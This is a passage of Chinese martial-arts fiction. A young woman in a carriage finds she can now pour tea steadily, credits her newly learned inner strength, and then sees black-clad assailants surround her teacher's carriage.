“倒也不是不行。”他把一旁卧着的白玉瓷杯正过来,“修书批注也是一行营生,且只需要卧于书卷之后,也是适合女子的。” “我不是要靠它为生啦。”她怏怏地看到先生准确地往自己的杯盏里倒了茶水,也觉得自己有些口渴。 她拿过茶壶,试图往自己的杯盏里倒去。茶入茶盏口的一瞬间,她大惊失色。 因为她突然发现,和从前不一样的是,她这次在颠簸的马车里,准确无误地让水壶里的水进入杯盏了,一点都没有洒。 她连忙掩盖自己的惊讶,装作不着痕迹地放下水壶,不说话地抿着茶水。 怎么回事,从前马车颠簸,她倒水几次都手不稳,桌面上水渍一片,可如今……难道是因为自己学了师父的那一套心法,有了内力? 她又惊又喜,又小心地看了一旁身边的人,又怕被先生发现她的“今时不同往日。” 好险的。 不对啊。她又转念一想,如果她是因为学了武功有了内力才能在颠簸的马车上稳住自己的手准确无误地将茶水导入杯盏,那先生又是为何? 她第一次见他倒茶,他可是已经就做到如此行云流水了啊。 她这头正想着呢,外头的飞虎飞龙长嘶一声,车身明显晃动颠簸,茶盏丁零当啷地掉在地上,这套唐阁主口中的张大师遗迹白玉瓷器碎成一片。 孟知微又气又恼,掀开车帘正要查看,却发现外面站了一群黑衣人。 冷岑岑刀光闪到她的眼睛。 不好,今日观展和追风都未和先生一起下山!